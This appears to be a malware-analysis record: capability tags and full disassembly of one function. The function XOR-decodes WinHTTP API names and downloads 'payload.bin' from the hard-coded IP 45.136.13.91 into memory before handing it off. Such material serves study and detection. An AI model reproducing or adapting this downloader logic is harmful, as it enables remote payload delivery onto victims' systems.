Function at 0x407820
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
sub rsp, 0x4a8
mov rax, qword [0x0040c008]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x498], rdi
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor edi, edi
lea rcx, [rsp + 0x108]
mov dword [rsp + 0x40], edi
mov byte [rsp + 0x108], 0x57
mov byte [rsp + 0x109], 0x69
mov byte [rsp + 0x10a], 0x6e
mov byte [rsp + 0x10b], 0x68
mov byte [rsp + 0x10c], 0x74
mov byte [rsp + 0x10d], 0x74
mov byte [rsp + 0x10e], 0x70
mov byte [rsp + 0x10f], 0x2e
mov byte [rsp + 0x110], 0x64
mov byte [rsp + 0x111], 0x6c
mov byte [rsp + 0x112], 0x6c
mov byte [rsp + 0x113], dil
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
mov qword [0x0040ded8], rax
call qword [sym.imp.KERNEL32.dll_HeapCreate]
lea edx, [rdi + 8]
mov rcx, rax
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [0x0040ded8]
mov byte [rsp + 0x78], 0x63
test rcx, rcx
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x79], 5
mov byte [rsp + 0x7a], 0x2a
mov byte [rsp + 0x7b], 3
mov byte [rsp + 0x7c], 7
mov byte [rsp + 0x7d], 0x23
mov byte [rsp + 0x7e], 0x44
mov byte [rsp + 0x7f], 0x23
mov byte [rsp + 0x80], 0x34
mov byte [rsp + 0x81], 0x2e
mov byte [rsp + 0x82], 0x1d
mov byte [rsp + 0x83], dil
mov byte [rsp + 0x58], 0x34
mov byte [rsp + 0x59], 0x6c
mov byte [rsp + 0x5a], 0x44
mov byte [rsp + 0x5b], 0x4b
mov byte [rsp + 0x5c], 0x73
mov byte [rsp + 0x5d], 0x57
mov byte [rsp + 0x5e], dil
jne 0x407965
mov rax, rdi
jmp 0x40799e
mov rdx, rdi
lea r8, [rsp + 0x78]
mov r9d, 0xb
cmp byte [rsp + rdx + 0x58], dil
cmove rdx, rdi
add r8, 1
movzx eax, byte [rsp + rdx + 0x58]
add rdx, 1
xor byte [r8 - 1], al
sub r9, 1
jne 0x407973
lea rdx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x0040a378]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x478], r15
mov dword [rsp + 0x20], edi
call rax
mov rcx, qword [0x0040ded8]
mov byte [rsp + 0x88], 3
test rcx, rcx
mov r15, rax
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x89], 0x1c
mov byte [rsp + 0x8a], dil
mov byte [rsp + 0x8b], 0x3c
mov byte [rsp + 0x8c], 0x16
mov byte [rsp + 0x8d], 0x35
mov byte [rsp + 0x8e], 0x24
mov byte [rsp + 0x8f], 0x36
mov byte [rsp + 0x90], 1
mov byte [rsp + 0x91], 0x1a
mov byte [rsp + 0x92], 0xc
mov byte [rsp + 0x93], 0x24
mov byte [rsp + 0x94], 0x37
mov byte [rsp + 0x95], 1
mov byte [rsp + 0x96], dil
mov byte [rsp + 0x58], 0x54
mov byte [rsp + 0x59], 0x75
mov byte [rsp + 0x5a], 0x6e
mov byte [rsp + 0x5b], 0x74
mov byte [rsp + 0x5c], 0x62
mov byte [rsp + 0x5d], 0x41
mov byte [rsp + 0x5e], dil
jne 0x407a6f
mov rax, rdi
jmp 0x407aae
mov rdx, rdi
lea r8, [rsp + 0x88]
mov r9d, 0xe
cmp byte [rsp + rdx + 0x58], dil
cmove rdx, rdi
add r8, 1
movzx eax, byte [rsp + rdx + 0x58]
add rdx, 1
xor byte [r8 - 1], al
sub r9, 1
jne 0x407a80
lea rdx, [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.45.136.13.91
xor r9d, r9d
mov r8w, 0x118
mov rcx, r15
mov qword [rsp + 0x490], r12
mov qword [rsp + 0x480], r14
call rax
mov rcx, qword [0x0040ded8]
mov byte [rsp + 0xa8], 0x11
test rcx, rcx
mov r14, rax
mov byte [rsp + 0xa9], 0x22
mov byte [rsp + 0xaa], 0x1d
mov byte [rsp + 0xab], 0x2a
mov byte [rsp + 0xac], 0x35
mov byte [rsp + 0xad], 0x2c
mov byte [rsp + 0xae], 0x36
mov byte [rsp + 0xaf], 4
mov byte [rsp + 0xb0], 3
mov byte [rsp + 0xb1], 7
mov byte [rsp + 0xb2], 0x2f
mov byte [rsp + 0xb3], 0xa
mov byte [rsp + 0xb4], 0x23
mov byte [rsp + 0xb5], 0x3a
mov byte [rsp + 0xb6], 6
mov byte [rsp + 0xb7], 7
mov byte [rsp + 0xb8], 0x32
mov byte [rsp + 0xb9], 0x2c
mov byte [rsp + 0xba], dil
mov byte [rsp + 0x58], 0x46
mov byte [rsp + 0x59], 0x4b
mov byte [rsp + 0x5a], 0x73
mov byte [rsp + 0x5b], 0x62
mov byte [rsp + 0x5c], 0x41
mov byte [rsp + 0x5d], 0x58
mov byte [rsp + 0x5e], dil
mov r12d, 0x12
jne 0x407ba7
mov rax, rdi
jmp 0x407bee
mov rdx, rdi
lea r8, [rsp + 0xa8]
mov r9, r12
nop
nop
nop
cmp byte [rsp + rdx + 0x58], dil
cmove rdx, rdi
add r8, 1
movzx eax, byte [rsp + rdx + 0x58]
add rdx, 1
xor byte [r8 - 1], al
sub r9, 1
jne 0x407bc0
lea rdx, [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x30], edi
lea r8, str.payload.bin
lea rdx, [0x0040a3b8]
xor r9d, r9d
mov rcx, r14
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x488], r13
mov qword [rsp + 0x20], rdi
call rax
mov rcx, qword [0x0040ded8]
mov byte [rsp + 0xc0], 4
mov byte [rsp + 0xc1], 0x19
test rcx, rcx
mov r13, rax
mov byte [rsp + 0xc2], 0x26
mov byte [rsp + 0xc3], 0x25
mov byte [rsp + 0xc4], 0x37
mov byte [rsp + 0xc5], 0x42
mov byte [rsp + 0xc6], 0x23
mov byte [rsp + 0xc7], 0x23
mov byte [rsp + 0xc8], 0x2d
mov byte [rsp + 0xc9], 3
mov byte [rsp + 0xca], 0x27
mov byte [rsp + 0xcb], 0x64
mov byte [rsp + 0xcc], 0x36
mov byte [rsp + 0xcd], 1
mov byte [rsp + 0xce], 0x3d
mov byte [rsp + 0xcf], 8
mov byte [rsp + 0xd0], 0x30
mov byte [rsp + 0xd1], 0x42
mov byte [rsp + 0xd2], dil
mov byte [rsp + 0x58], 0x53
mov byte [rsp + 0x59], 0x70
mov byte [rsp + 0x5a], 0x48
mov byte [rsp + 0x5b], 0x6d
mov byte [rsp + 0x5c], 0x43
mov byte [rsp + 0x5d], 0x36
mov byte [rsp + 0x5e], dil
jne 0x407ce9
mov rax, rdi
jmp 0x407d2e
mov rdx, rdi
lea r8, [rsp + 0xc0]
mov r9, r12
nop
nop
nop
cmp byte [rsp + rdx + 0x58], dil
cmove rdx, rdi
add r8, 1
movzx eax, byte [rsp + rdx + 0x58]
add rdx, 1
xor byte [r8 - 1], al
sub r9, 1
jne 0x407d00
lea rdx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r13
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call rax
mov rcx, qword [0x0040ded8]
test rcx, rcx
mov byte [rsp + 0xf0], 0x1b
mov byte [rsp + 0xf1], 0xa
mov byte [rsp + 0xf2], 0x1b
mov byte [rsp + 0xf3], 0xa
mov byte [rsp + 0xf4], 4
mov byte [rsp + 0xf5], 0x23
mov byte [rsp + 0xf6], 0x3c
mov byte [rsp + 0xf7], 0x31
mov byte [rsp + 0xf8], 0x10
mov byte [rsp + 0xf9], 0x21
mov byte [rsp + 0xfa], 0x15
mov byte [rsp + 0xfb], 0x3e
mov byte [rsp + 0xfc], 0x3a
mov byte [rsp + 0xfd], 6
mov byte [rsp + 0xfe], 0x27
mov byte [rsp + 0xff], 0x27
mov byte [rsp + 0x100], 3
mov byte [rsp + 0x101], 0x27
mov byte [rsp + 0x102], 0x23
mov byte [rsp + 0x103], 0xd
mov byte [rsp + 0x104], 6
mov byte [rsp + 0x105], 0x27
mov byte [rsp + 0x106], dil
mov byte [rsp + 0x58], 0x4c
mov byte [rsp + 0x59], 0x63
mov byte [rsp + 0x5a], 0x75
mov byte [rsp + 0x5b], 0x42
mov byte [rsp + 0x5c], 0x70
mov byte [rsp + 0x5d], 0x57
mov byte [rsp + 0x5e], dil
jne 0x407e34
mov rax, rdi
jmp 0x407e7e
mov rdx, rdi
lea r8, [rsp + 0xf0]
mov r9d, 0x16
nop
nop
nop
cmp byte [rsp + rdx + 0x58], dil
cmove rdx, rdi
add r8, 1
movzx eax, byte [rsp + rdx + 0x58]
add rdx, 1
xor byte [r8 - 1], al
sub r9, 1
jne 0x407e50
lea rdx, [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov rcx, r13
mov qword [rsp + 0x4c8], rbp
mov qword [rsp + 0x4a0], rsi
call rax
mov byte [rsp + 0x118], 0x32
mov byte [rsp + 0x119], 6
mov byte [rsp + 0x11a], 0x5b
mov byte [rsp + 0x11b], 0x1c
mov byte [rsp + 0x11c], 0x27
mov byte [rsp + 0x11d], 0x10
mov byte [rsp + 0x11e], 0x15
mov byte [rsp + 0x11f], 0x3e
mov byte [rsp + 0x120], 0x40
mov byte [rsp + 0x121], 0x31
mov byte [rsp + 0x122], 0x21
mov byte [rsp + 0x123], 0x1d
mov byte [rsp + 0x124], 0x21
mov byte [rsp + 0x125], 0xe
mov byte [rsp + 0x126], 0x41
mov byte [rsp + 0x127], 0x35
mov byte [rsp + 0x128], r12b
mov byte [rsp + 0x129], r12b
mov byte [rsp + 0x12a], 4
mov byte [rsp + 0x12b], 6
mov byte [rsp + 0x12c], 0x59
mov byte [rsp + 0x12d], 0x35
mov byte [rsp + 0x12e], 0x31
mov byte [rsp + 0x12f], 8
mov byte [rsp + 0x130], dil
mov byte [rsp + 0x131], dil
mov byte [rsp + 0x70], 0x65
mov byte [rsp + 0x71], 0x6f
mov byte [rsp + 0x72], 0x35
mov byte [rsp + 0x73], 0x54
mov byte [rsp + 0x74], 0x53
mov byte [rsp + 0x75], 0x64
mov byte [rsp + 0x76], dil
mov byte [rsp + 0x98], 0x6f
mov byte [rsp + 0x99], 0x2f
mov byte [rsp + 0x9a], 0xc
mov byte [rsp + 0x9b], 0x3a
mov byte [rsp + 0x9c], 0xc
mov byte [rsp + 0x9d], 0x1a
mov byte [rsp + 0x9e], 0x48
mov byte [rsp + 0x9f], 0x14
mov byte [rsp + 0xa0], 7
mov byte [rsp + 0xa1], 0x13
mov byte [rsp + 0xa2], 0x1c
mov byte [rsp + 0xa3], 0x2a
mov byte [rsp + 0xa4], 0x59
mov byte [rsp + 0xa5], 0x32
mov byte [rsp + 0xa6], 3
mov byte [rsp + 0xa7], dil
mov byte [rsp + 0x60], 0x38
mov byte [rsp + 0x61], 0x46
mov byte [rsp + 0x62], 0x62
mov byte [rsp + 0x63], 0x72
mov byte [rsp + 0x64], 0x78
mov byte [rsp + 0x65], 0x6e
mov byte [rsp + 0x66], dil
mov byte [rsp + 0xd8], 0x2d
mov byte [rsp + 0xd9], 0x33
mov byte [rsp + 0xda], 0xd
mov byte [rsp + 0xdb], 0x7d
mov byte [rsp + 0xdc], 0x24
mov byte [rsp + 0xdd], 0x1d
mov byte [rsp + 0xde], 0xa
mov byte [rsp + 0xdf], 0x19
mov byte [rsp + 0xe0], 0xf
mov byte [rsp + 0xe1], 0x5a
mov byte [rsp + 0xe2], 0x23
mov byte [rsp + 0xe3], 0xc
mov byte [rsp + 0xe4], 0x32
mov byte [rsp + 0xe5], 0x3b
mov byte [rsp + 0xe6], 0xd
mov byte [rsp + 0xe7], 0x51
mov byte [rsp + 0xe8], 0x3c
mov byte [rsp + 0xe9], 0xc
mov byte [rsp + 0xea], dil
mov byte [rsp + 0x68], 0x7a
mov r15, qword [rsp + 0x48]
mov byte [rsp + 0x69], 0x5a
mov byte [rsp + 0x6a], 0x63
mov byte [rsp + 0x6b], 0x35
mov byte [rsp + 0x6c], 0x50
mov byte [rsp + 0x6d], 0x69
mov byte [rsp + 0x6e], dil
mov rsi, rdi
mov rbp, rdi
mov qword [rsp + 0x4c0], rbx
nop
nop
test rsi, rsi
mov dword [rsp + 0x58], edi
jne 0x408161
mov rcx, qword [0x0040ded8]
test rcx, rcx
jne 0x40811a
mov rsi, rdi
jmp 0x408161
mov rdx, rdi
lea r8, [rsp + 0x118]
mov r9d, 0x19
nop
nop
cmp byte [rsp + rdx + 0x70], dil
cmove rdx, rdi
add r8, 1
movzx eax, byte [rsp + rdx + 0x70]
add rdx, 1
xor byte [r8 - 1], al
sub r9, 1
jne 0x408130
lea rdx, [rsp + 0x118]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rdx, [rsp + 0x58]
mov rcx, r13
call rsi
cmp dword [rsp + 0x58], edi
je 0x40822d
lea rcx, [rsp + 0x141]
xor edx, edx
mov r8d, 0x31f
mov byte [rsp + 0x140], dil
call fcn.00405f20
test rbp, rbp
jne 0x4081f1
mov rcx, qword [0x0040ded8]
test rcx, rcx
jne 0x4081a8
mov rbp, rdi
jmp 0x4081f1
mov rdx, rdi
lea r8, [rsp + 0x98]
mov r9d, 0xf
nop
nop
cmp byte [rsp + rdx + 0x60], dil
cmove rdx, rdi
add r8, 1
movzx eax, byte [rsp + rdx + 0x60]
add rdx, 1
xor byte [r8 - 1], al
sub r9, 1
jne 0x4081c0
lea rdx, [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
lea r9, [rsp + 0x58]
lea rdx, [rsp + 0x140]
mov r8d, 0x320
mov rcx, r13
call rbp
mov ebx, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x40]
lea rdx, [rsp + 0x140]
mov r8, rbx
add rcx, r15
call fcn.004058f0
add dword [rsp + 0x40], ebx
jmp 0x408100
mov rcx, qword [0x0040ded8]
mov rsi, qword [rsp + 0x4a0]
mov rbp, qword [rsp + 0x4c8]
test rcx, rcx
mov rbx, qword [rsp + 0x4c0]
je 0x408291
mov rdx, rdi
lea r8, [rsp + 0xd8]
nop
cmp byte [rsp + rdx + 0x68], dil
cmove rdx, rdi
add r8, 1
movzx eax, byte [rsp + rdx + 0x68]
add rdx, 1
xor byte [r8 - 1], al
sub r12, 1
jne 0x408260
lea rdx, [rsp + 0xd8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov rcx, r13
call rdi
mov rcx, r14
call rdi
mov rcx, qword [rsp + 0x50]
call rdi
mov rcx, r15
call fcn.004011b0
mov r15, qword [rsp + 0x478]
mov r14, qword [rsp + 0x480]
mov r13, qword [rsp + 0x488]
mov r12, qword [rsp + 0x490]
mov rdi, qword [rsp + 0x498]
xor eax, eax
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.00401010
add rsp, 0x4a8
ret